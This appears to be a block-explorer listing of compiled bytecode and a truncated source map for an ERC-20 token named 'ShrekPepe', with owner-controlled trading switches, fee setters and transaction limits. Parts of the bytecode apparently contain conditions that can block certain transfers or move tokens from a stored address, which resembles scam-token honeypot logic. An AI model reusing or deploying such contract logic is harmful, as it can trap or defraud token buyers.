0006104ab8484846108bf565b6104fd84336104f88560405180606001604052806028815260200161197a602891396001600160a01b038a1660009081526013602090815260408083203384529091529020549190610e20565b61079b565b5060015b9392505050565b6000546001600160a01b0316331461053b5760405162461bcd60e51b81526004016105329061182b565b60405180910390fd5b60048054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b03811660009081526010602052604081205461049890610e5a565b6000546001600160a01b031633146105a55760405162461bcd60e51b81526004016105329061182b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106195760405162461bcd60e51b81526004016105329061182b565b601755565b6000546001600160a01b031633146106485760405162461bcd60e51b81526004016105329061182b565b60048054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146106905760405162461bcd60e51b81526004016105329061182b565b600693909355600891909155600755600955565b60006104943384846108bf565b6000546001600160a01b031633146106db5760405162461bcd60e51b81526004016105329061182b565b6001600160a01b0381166107405760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610532565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107fd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610532565b6001600160a01b03821661085e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610532565b6001600160a01b0383811660008181526013602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610532565b6001600160a01b0382166109855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610532565b600081116109e75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610532565b6000546001600160a01b03848116911614801590610a1357506000546001600160a01b03838116911614155b15610d1357600454600160a01b900460ff16610aac576000546001600160a01b03848116911614610aac5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610532565b601754811115610afe5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610532565b601a546001600160a01b03838116911614610b835760175481610b2084610559565b610b2a9190611876565b10610b835760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610532565b6001600160a01b03831660009081526014602052604090205460ff1615610bb957610baf838383610ed7565b15610bb957505050565b6000610bc430610559565b601854601a54919250821015906001600160a01b0390811690861603610c24576001600160a01b0384166000908152601260205260408120549003610c1f576001600160a01b03841660009081526012602052604090204290555b610c51565b600454600160a81b900460ff16610c5157600f80546001600160a01b0319166001600160a01b0387161790555b6017548210610c605760175491505b808015610c775750600454600160a81b900460ff16155b8015610c915750601a546001600160a01b03868116911614155b8015610ca65750600454600160b01b900460ff165b8015610ccb57506001600160a01b03851660009081526014602052604090205460ff16155b8015610cf057506001600160a01b03841660009081526014602052604090205460ff16155b15610d1057478015610d0e57610d0583610f32565b610d0e476110ac565b505b50505b6001600160a01b03831660009081526014602052604090205460019060ff1680610d5557506001600160a01b03831660009081526014602052604090205460ff165b80610d875750601a546001600160a01b03858116911614801590610d875750601a546001600160a01b03848116911614155b15610d9457506000610e0e565b601a546001600160a01b038581169116148015610dbf57506019546001600160a01b03848116911614155b15610dd157600654600a55600754600b555b601a546001600160a01b038481169116148015610dfc57506019546001600160a01b03858116911614155b15610e0e57600854600a55600954600b555b610e1a848484846110ea565b50505050565b60008184841115610e445760405162461bcd60e51b81526004016105329190611695565b506000610e518486611889565b95945050505050565b6000601654821115610ec15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610532565b6000610ecb611118565b9050610501838261113b565b6001600160a01b03821660009081526015602052604081205460ff1615610f285781610f0285610559565b1015610f2857600254610f209084906001600160a01b03168461117d565b506001610501565b5060009392505050565b6004805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f7a57610f7a61189c565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff791906118b2565b8160018151811061100a5761100a61189c565b6001600160a01b039283166020918202929092010152601954611030913091168461079b565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906110699085906000908690309042906004016118cf565b600060405180830381600087803b15801561108357600080fd5b505af1158015611097573d6000803e3d6000fd5b50506004805460ff60a81b1916905550505050565b6003546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110e6573d6000803e3d6000fd5b5050565b806110f7576110f7611278565b61110284848461117d565b80610e1a57610e1a600c54600a55600d54600b55565b60008060006111256112a6565b9092509050611134828261113b565b9250505090565b600061050183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e4565b600080600080600080611191898989611312565b6001600160a01b038f16600090815260106020526040902054959b509399509197509550935091506111c390876113b5565b6001600160a01b03808b1660009081526010602052604080822093909355908a16815220546111f290866113f7565b6001600160a01b038916600090815260106020526040902055611216818a8a611456565b611220848361154a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161126591815260200190565b60405180910390a3505050505050505050565b600a541580156112885750600b54155b1561128f57565b600a8054600c55600b8054600d5560009182905555565b601654600090819066038d7ea4c680006112c0828261113b565b8210156112db5750506016549266038d7ea4c6800092509050565b90939092509050565b600081836113055760405162461bcd60e51b81526004016105329190611695565b506000610e518486611940565b600080600080600080600080600061132f8a600a54600b5461156e565b919450925090508b6000611341611118565b601a549091506001600160a01b03838116911614801561137957506001600160a01b038d1660009081526014602052604090205460ff165b156113835742600e555b60008060006113948f8888876115c3565b919f509d509b50969950949750929550505050505093975093979195509350565b600061050183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e20565b6000806114048385611876565b9050838110156105015760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610532565b6000611460611118565b9050600061146e8583611613565b601a549091506001600160a01b038581169116148015906114a857506001600160a01b03841660009081526014602052604090205460ff16155b80156114cd57506001600160a01b03831660009081526014602052604090205460ff16155b15611519576004546114e7906001600160a01b0316610559565b1580156115105750600e54600f546001600160a01b031660009081526012602052604090205410155b61151957600080fd5b3060009081526010602052604090205461153390826113f7565b306000908152601060205260409020555050505050565b60165461155790836113b5565b60165560055461156790826113f7565b6005555050565b600080808061158860646115828989611613565b9061113b565b9050600061159b60646115828a89611613565b905060006115b3826115ad8b866113b5565b906113b5565b9992985090965090945050505050565b60008080806115d28886611613565b905060006115e08887611613565b905060006115ee8888611613565b90506000611600826115ad86866113b5565b939b939a50919850919650505050505050565b60008260000361162557506000610498565b60006116318385611962565b90508261163e8583611940565b146105015760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610532565b600060208083528351808285015260005b818110156116c2578581018301518582016040015282016116a6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116f857600080fd5b50565b6000806040838503121561170e57600080fd5b8235611719816116e3565b946020939093013593505050565b60006020828403121561173957600080fd5b8135610501816116e3565b60008060006060848603121561175957600080fd5b8335611764816116e3565b92506020840135611774816116e3565b929592945050506040919091013590565b60006020828403121561179757600080fd5b8135801515811461050157600080fd5b6000602082840312156117b957600080fd5b5035919050565b600080600080608085870312156117d657600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561180557600080fd5b8235611810816116e3565b91506020830135611820816116e3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561049857610498611860565b8181038181111561049857610498611860565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156118c457600080fd5b8151610501816116e3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561191f5784516001600160a01b0316835293830193918301916001016118fa565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261195d57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176104985761049861186056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b931e6fba02184abaa1abc172b718bf37b5d5764e0430c7afdba8f1c8b584d0264736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101395760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b4114610383578063a2a957bb146103b1578063a9059cbb146103d1578063b62496f5146103f1578063dd62ed3e14610421578063f2fde38b1461046757600080fd5b8063715018a6146102fa57806374010ece1461030f5780637d1db4a51461032f5780638da5cb5b146103455780638f70ccf71461036357600080fd5b806323b872dd116100fd57806323b872dd146102465780632fd689e314610266578063313ce5671461027c57806349bd5a5e146102985780636d8aa8f8146102b857806370a08231146102da57600080fd5b806306fdde0314610145578063095ea7b3146101895780630a3e521d146101b95780631694505e146101f457806318160ddd1461022c57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b50604080518082019091526009815268536872656b5065706560b81b60208201525b6040516101809190611695565b60405180910390f35b34801561019557600080fd5b506101a96101a43660046116fb565b610487565b6040519015158152602001610180565b3480156101c557600080fd5b506101e66101d4366004611727565b60126020526000908152604090205481565b604051908152602001610180565b34801561020057600080fd5b50601954610214906001600160a01b031681565b6040516001600160a01b039091168152602001610180565b34801561023857600080fd5b5066038d7ea4c680006101e6565b34801561025257600080fd5b506101a9610261366004611744565b61049e565b34801561027257600080fd5b506101e660185481565b34801561028857600080fd5b5060405160098152602001610180565b3480156102a457600080fd5b50601a54610214906001600160a01b031681565b3480156102c457600080fd5b506102d86102d3366004611785565b610508565b005b3480156102e657600080fd5b506101e66102f5366004611727565b610559565b34801561030657600080fd5b506102d861057b565b34801561031b57600080fd5b506102d861032a3660046117a7565b6105ef565b34801561033b57600080fd5b506101e660175481565b34801561035157600080fd5b506000546001600160a01b0316610214565b34801561036f57600080fd5b506102d861037e366004611785565b61061e565b34801561038f57600080fd5b50604080518082019091526005815264536872656b60d81b6020820152610173565b3480156103bd57600080fd5b506102d86103cc3660046117c0565b610666565b3480156103dd57600080fd5b506101a96103ec3660046116fb565b6106a4565b3480156103fd57600080fd5b506101a961040c366004611727565b60156020526000908152604090205460ff1681565b34801561042d57600080fd5b506101e661043c3660046117f2565b6001600160a01b03918216600090815260136020908152604080832093909416825291909152205490565b34801561047357600080fd5b506102d8610482366004611727565b6106b1565b600061049433848461079b565b5060015b92915050565b60006104ab8484846108bf565b6104fd84336104f88560405180606001604052806028815260200161197a602891396001600160a01b038a1660009081526013602090815260408083203384529091529020549190610e20565b61079b565b5060015b9392505050565b6000546001600160a01b0316331461053b5760405162461bcd60e51b81526004016105329061182b565b60405180910390fd5b60048054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b03811660009081526010602052604081205461049890610e5a565b6000546001600160a01b031633146105a55760405162461bcd60e51b81526004016105329061182b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106195760405162461bcd60e51b81526004016105329061182b565b601755565b6000546001600160a01b031633146106485760405162461bcd60e51b81526004016105329061182b565b60048054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146106905760405162461bcd60e51b81526004016105329061182b565b600693909355600891909155600755600955565b60006104943384846108bf565b6000546001600160a01b031633146106db5760405162461bcd60e51b81526004016105329061182b565b6001600160a01b0381166107405760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610532565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107fd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610532565b6001600160a01b03821661085e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610532565b6001600160a01b0383811660008181526013602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610532565b6001600160a01b0382166109855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610532565b600081116109e75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610532565b6000546001600160a01b03848116911614801590610a1357506000546001600160a01b03838116911614155b15610d1357600454600160a01b900460ff16610aac576000546001600160a01b03848116911614610aac5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610532565b601754811115610afe5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610532565b601a546001600160a01b03838116911614610b835760175481610b2084610559565b610b2a9190611876565b10610b835760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610532565b6001600160a01b03831660009081526014602052604090205460ff1615610bb957610baf838383610ed7565b15610bb957505050565b6000610bc430610559565b601854601a54919250821015906001600160a01b0390811690861603610c24576001600160a01b0384166000908152601260205260408120549003610c1f576001600160a01b03841660009081526012602052604090204290555b610c51565b600454600160a81b900460ff16610c5157600f80546001600160a01b0319166001600160a01b0387161790555b6017548210610c605760175491505b808015610c775750600454600160a81b900460ff16155b8015610c915750601a546001600160a01b03868116911614155b8015610ca65750600454600160b01b900460ff165b8015610ccb57506001600160a01b03851660009081526014602052604090205460ff16155b8015610cf057506001600160a01b03841660009081526014602052604090205460ff16155b15610d1057478015610d0e57610d0583610f32565b610d0e476110ac565b505b50505b6001600160a01b03831660009081526014602052604090205460019060ff1680610d5557506001600160a01b03831660009081526014602052604090205460ff165b80610d875750601a546001600160a01b03858116911614801590610d875750601a546001600160a01b03848116911614155b15610d9457506000610e0e565b601a546001600160a01b038581169116148015610dbf57506019546001600160a01b03848116911614155b15610dd157600654600a55600754600b555b601a546001600160a01b038481169116148015610dfc57506019546001600160a01b03858116911614155b15610e0e57600854600a55600954600b555b610e1a848484846110ea565b50505050565b60008184841115610e445760405162461bcd60e51b81526004016105329190611695565b506000610e518486611889565b95945050505050565b6000601654821115610ec15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610532565b6000610ecb611118565b9050610501838261113b565b6001600160a01b03821660009081526015602052604081205460ff1615610f285781610f0285610559565b1015610f2857600254610f209084906001600160a01b03168461117d565b506001610501565b5060009392505050565b6004805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f7a57610f7a61189c565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff791906118b2565b8160018151811061100a5761100a61189c565b6001600160a01b039283166020918202929092010152601954611030913091168461079b565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906110699085906000908690309042906004016118cf565b600060405180830381600087803b15801561108357600080fd5b505af1158015611097573d6000803e3d6000fd5b50506004805460ff60a81b1916905550505050565b6003546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110e6573d6000803e3d6000fd5b5050565b806110f7576110f7611278565b61110284848461117d565b80610e1a57610e1a600c54600a55600d54600b55565b60008060006111256112a6565b9092509050611134828261113b565b9250505090565b600061050183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e4565b600080600080600080611191898989611312565b6001600160a01b038f16600090815260106020526040902054959b509399509197509550935091506111c390876113b5565b6001600160a01b03808b1660009081526010602052604080822093909355908a16815220546111f290866113f7565b6001600160a01b038916600090815260106020526040902055611216818a8a611456565b611220848361154a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161126591815260200190565b60405180910390a3505050505050505050565b600a541580156112885750600b54155b1561128f57565b600a8054600c55600b8054600d5560009182905555565b601654600090819066038d7ea4c680006112c0828261113b565b8210156112db5750506016549266038d7ea4c6800092509050565b90939092509050565b600081836113055760405162461bcd60e51b81526004016105329190611695565b506000610e518486611940565b600080600080600080600080600061132f8a600a54600b5461156e565b919450925090508b6000611341611118565b601a549091506001600160a01b03838116911614801561137957506001600160a01b038d1660009081526014602052604090205460ff165b156113835742600e555b60008060006113948f8888876115c3565b919f509d509b50969950949750929550505050505093975093979195509350565b600061050183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e20565b6000806114048385611876565b9050838110156105015760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610532565b6000611460611118565b9050600061146e8583611613565b601a549091506001600160a01b038581169116148015906114a857506001600160a01b03841660009081526014602052604090205460ff16155b80156114cd57506001600160a01b03831660009081526014602052604090205460ff16155b15611519576004546114e7906001600160a01b0316610559565b1580156115105750600e54600f546001600160a01b031660009081526012602052604090205410155b61151957600080fd5b3060009081526010602052604090205461153390826113f7565b306000908152601060205260409020555050505050565b60165461155790836113b5565b60165560055461156790826113f7565b6005555050565b600080808061158860646115828989611613565b9061113b565b9050600061159b60646115828a89611613565b905060006115b3826115ad8b866113b5565b906113b5565b9992985090965090945050505050565b60008080806115d28886611613565b905060006115e08887611613565b905060006115ee8888611613565b90506000611600826115ad86866113b5565b939b939a50919850919650505050505050565b60008260000361162557506000610498565b60006116318385611962565b90508261163e8583611940565b146105015760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610532565b600060208083528351808285015260005b818110156116c2578581018301518582016040015282016116a6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116f857600080fd5b50565b6000806040838503121561170e57600080fd5b8235611719816116e3565b946020939093013593505050565b60006020828403121561173957600080fd5b8135610501816116e3565b60008060006060848603121561175957600080fd5b8335611764816116e3565b92506020840135611774816116e3565b929592945050506040919091013590565b60006020828403121561179757600080fd5b8135801515811461050157600080fd5b6000602082840312156117b957600080fd5b5035919050565b600080600080608085870312156117d657600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561180557600080fd5b8235611810816116e3565b91506020830135611820816116e3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561049857610498611860565b8181038181111561049857610498611860565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156118c457600080fd5b8151610501816116e3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561191f5784516001600160a01b0316835293830193918301916001016118fa565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261195d57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176104985761049861186056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b931e6fba02184abaa1abc172b718bf37b5d5764e0430c7afdba8f1c8b584d0264736f6c63430008130033

Deployed Bytecode Sourcemap

7502:11988:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10180:69;;;;;;;;;;-1:-1:-1;10241:5:0;;;;;;;;;;;;-1:-1:-1;;;10241:5:0;;;;10180:69;;;;;;;:::i;:::-;;;;;;;;10911:138;;;;;;;;;;-1:-1:-1;10911:138:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10911:138:0;1023:187:1;8659:53:0;;;;;;;;;;-1:-1:-1;8659:53:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;1613:25:1;;;1601:2;1586:18;8659:53:0;1467:177:1;9188:41:0;;;;;;;;;;-1:-1:-1;9188:41:0;;;;-1:-1:-1;;;;;9188:41:0;;;;;;-1:-1:-1;;;;;1839:32:1;;;1821:51;;1809:2;1794:18;9188:41:0;1649:229:1;10409:81:0;;;;;;;;;;-1:-1:-1;9000:15:0;10409:81;;14257:314;;;;;;;;;;-1:-1:-1;14257:314:0;;;;;:::i;:::-;;:::i;9128:50::-;;;;;;;;;;;;;;;;10334:69;;;;;;;;;;-1:-1:-1;10334:69:0;;7722:1;2486:36:1;;2474:2;2459:18;10334:69:0;2344:184:1;9236:28:0;;;;;;;;;;-1:-1:-1;9236:28:0;;;;-1:-1:-1;;;;;9236:28:0;;;11148:87;;;;;;;;;;-1:-1:-1;11148:87:0;;;;;:::i;:::-;;:::i;:::-;;10496:124;;;;;;;;;;-1:-1:-1;10496:124:0;;;;;:::i;:::-;;:::i;5740:148::-;;;;;;;;;;;;;:::i;11241:94::-;;;;;;;;;;-1:-1:-1;11241:94:0;;;;;:::i;:::-;;:::i;9078:43::-;;;;;;;;;;;;;;;;5544:65;;;;;;;;;;-1:-1:-1;5582:7:0;5600:6;-1:-1:-1;;;;;5600:6:0;5544:65;;11055:87;;;;;;;;;;-1:-1:-1;11055:87:0;;;;;:::i;:::-;;:::i;10255:73::-;;;;;;;;;;-1:-1:-1;10318:7:0;;;;;;;;;;;;-1:-1:-1;;;10318:7:0;;;;10255:73;;11341:264;;;;;;;;;;-1:-1:-1;11341:264:0;;;;;:::i;:::-;;:::i;10626:144::-;;;;;;;;;;-1:-1:-1;10626:144:0;;;;;:::i;:::-;;:::i;8851:58::-;;;;;;;;;;-1:-1:-1;8851:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10776:129;;;;;;;;;;-1:-1:-1;10776:129:0;;;;;:::i;:::-;-1:-1:-1;;;;;10875:18:0;;;10857:7;10875:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10776:129;5894:244;;;;;;;;;;-1:-1:-1;5894:244:0;;;;;:::i;:::-;;:::i;10911:138::-;10986:4;10994:39;5174:10;11017:7;11026:6;10994:8;:39::i;:::-;-1:-1:-1;11042:4:0;10911:138;;;;;:::o;14257:314::-;14356:4;14373:36;14383:6;14391:9;14402:6;14373:9;:36::i;:::-;14420:121;14429:6;5174:10;14451:89;14489:6;14451:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14451:19:0;;;;;;:11;:19;;;;;;;;5174:10;14451:33;;;;;;;;;;:37;:89::i;:::-;14420:8;:121::i;:::-;-1:-1:-1;14559:4:0;14257:314;;;;;;:::o;11148:87::-;5655:6;;-1:-1:-1;;;;;5655:6:0;5174:10;5655:22;5647:67;;;;-1:-1:-1;;;5647:67:0;;;;;;;:::i;:::-;;;;;;;;;11206:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;11206:26:0::1;-1:-1:-1::0;;;;11206:26:0;;::::1;::::0;;;::::1;::::0;;11148:87::o;10496:124::-;-1:-1:-1;;;;;10600:16:0;;10562:7;10600:16;;;:7;:16;;;;;;10580:37;;:19;:37::i;5740:148::-;5655:6;;-1:-1:-1;;;;;5655:6:0;5174:10;5655:22;5647:67;;;;-1:-1:-1;;;5647:67:0;;;;;;;:::i;:::-;5847:1:::1;5831:6:::0;;5810:40:::1;::::0;-1:-1:-1;;;;;5831:6:0;;::::1;::::0;5810:40:::1;::::0;5847:1;;5810:40:::1;5878:1;5861:19:::0;;-1:-1:-1;;;;;;5861:19:0::1;::::0;;5740:148::o;11241:94::-;5655:6;;-1:-1:-1;;;;;5655:6:0;5174:10;5655:22;5647:67;;;;-1:-1:-1;;;5647:67:0;;;;;;;:::i;:::-;11306:12:::1;:26:::0;11241:94::o;11055:87::-;5655:6;;-1:-1:-1;;;;;5655:6:0;5174:10;5655:22;5647:67;;;;-1:-1:-1;;;5647:67:0;;;;;;;:::i;:::-;11113:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;11113:26:0::1;-1:-1:-1::0;;;;11113:26:0;;::::1;::::0;;;::::1;::::0;;11055:87::o;11341:264::-;5655:6;;-1:-1:-1;;;;;5655:6:0;5174:10;5655:22;5647:67;;;;-1:-1:-1;;;5647:67:0;;;;;;;:::i;:::-;11475:14:::1;:30:::0;;;;11507:15:::1;:32:::0;;;;11541:12:::1;:26:::0;11569:13:::1;:28:::0;11341:264::o;10626:144::-;10704:4;10712:42;5174:10;10736:9;10747:6;10712:9;:42::i;5894:244::-;5655:6;;-1:-1:-1;;;;;5655:6:0;5174:10;5655:22;5647:67;;;;-1:-1:-1;;;5647:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5983:22:0;::::1;5975:73;;;::::0;-1:-1:-1;;;5975:73:0;;4550:2:1;5975:73:0::1;::::0;::::1;4532:21:1::0;4589:2;4569:18;;;4562:30;4628:34;4608:18;;;4601:62;-1:-1:-1;;;4679:18:1;;;4672:36;4725:19;;5975:73:0::1;4348:402:1::0;5975:73:0::1;6085:6;::::0;;6064:38:::1;::::0;-1:-1:-1;;;;;6064:38:0;;::::1;::::0;6085:6;::::1;::::0;6064:38:::1;::::0;::::1;6113:6;:17:::0;;-1:-1:-1;;;;;;6113:17:0::1;-1:-1:-1::0;;;;;6113:17:0;;;::::1;::::0;;;::::1;::::0;;5894:244::o;15189:335::-;-1:-1:-1;;;;;15282:19:0;;15274:68;;;;-1:-1:-1;;;15274:68:0;;4957:2:1;15274:68:0;;;4939:21:1;4996:2;4976:18;;;4969:30;5035:34;5015:18;;;5008:62;-1:-1:-1;;;5086:18:1;;;5079:34;5130:19;;15274:68:0;4755:400:1;15274:68:0;-1:-1:-1;;;;;15361:21:0;;15353:68;;;;-1:-1:-1;;;15353:68:0;;5362:2:1;15353:68:0;;;5344:21:1;5401:2;5381:18;;;5374:30;5440:34;5420:18;;;5413:62;-1:-1:-1;;;5491:18:1;;;5484:32;5533:19;;15353:68:0;5160:398:1;15353:68:0;-1:-1:-1;;;;;15432:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15484:32;;1613:25:1;;;15484:32:0;;1586:18:1;15484:32:0;;;;;;;15189:335;;;:::o;15532:2358::-;-1:-1:-1;;;;;15620:18:0;;15612:68;;;;-1:-1:-1;;;15612:68:0;;5765:2:1;15612:68:0;;;5747:21:1;5804:2;5784:18;;;5777:30;5843:34;5823:18;;;5816:62;-1:-1:-1;;;5894:18:1;;;5887:35;5939:19;;15612:68:0;5563:401:1;15612:68:0;-1:-1:-1;;;;;15699:16:0;;15691:64;;;;-1:-1:-1;;;15691:64:0;;6171:2:1;15691:64:0;;;6153:21:1;6210:2;6190:18;;;6183:30;6249:34;6229:18;;;6222:62;-1:-1:-1;;;6300:18:1;;;6293:33;6343:19;;15691:64:0;5969:399:1;15691:64:0;15783:1;15774:6;:10;15766:64;;;;-1:-1:-1;;;15766:64:0;;6575:2:1;15766:64:0;;;6557:21:1;6614:2;6594:18;;;6587:30;6653:34;6633:18;;;6626:62;-1:-1:-1;;;6704:18:1;;;6697:39;6753:19;;15766:64:0;6373:405:1;15766:64:0;5582:7;5600:6;-1:-1:-1;;;;;15847:15:0;;;5600:6;;15847:15;;;;:32;;-1:-1:-1;5582:7:0;5600:6;-1:-1:-1;;;;;15866:13:0;;;5600:6;;15866:13;;15847:32;15843:1457;;;15901:11;;-1:-1:-1;;;15901:11:0;;;;15896:144;;5582:7;5600:6;-1:-1:-1;;;;;15941:15:0;;;5600:6;;15941:15;15933:91;;;;-1:-1:-1;;;15933:91:0;;6985:2:1;15933:91:0;;;6967:21:1;7024:2;7004:18;;;6997:30;7063:34;7043:18;;;7036:62;7134:33;7114:18;;;7107:61;7185:19;;15933:91:0;6783:427:1;15933:91:0;16072:12;;16062:6;:22;;16054:63;;;;-1:-1:-1;;;16054:63:0;;7417:2:1;16054:63:0;;;7399:21:1;7456:2;7436:18;;;7429:30;7495;7475:18;;;7468:58;7543:18;;16054:63:0;7215:352:1;16054:63:0;16144:13;;-1:-1:-1;;;;;16138:19:0;;;16144:13;;16138:19;16134:145;;16211:12;;16202:6;16186:13;16196:2;16186:9;:13::i;:::-;:22;;;;:::i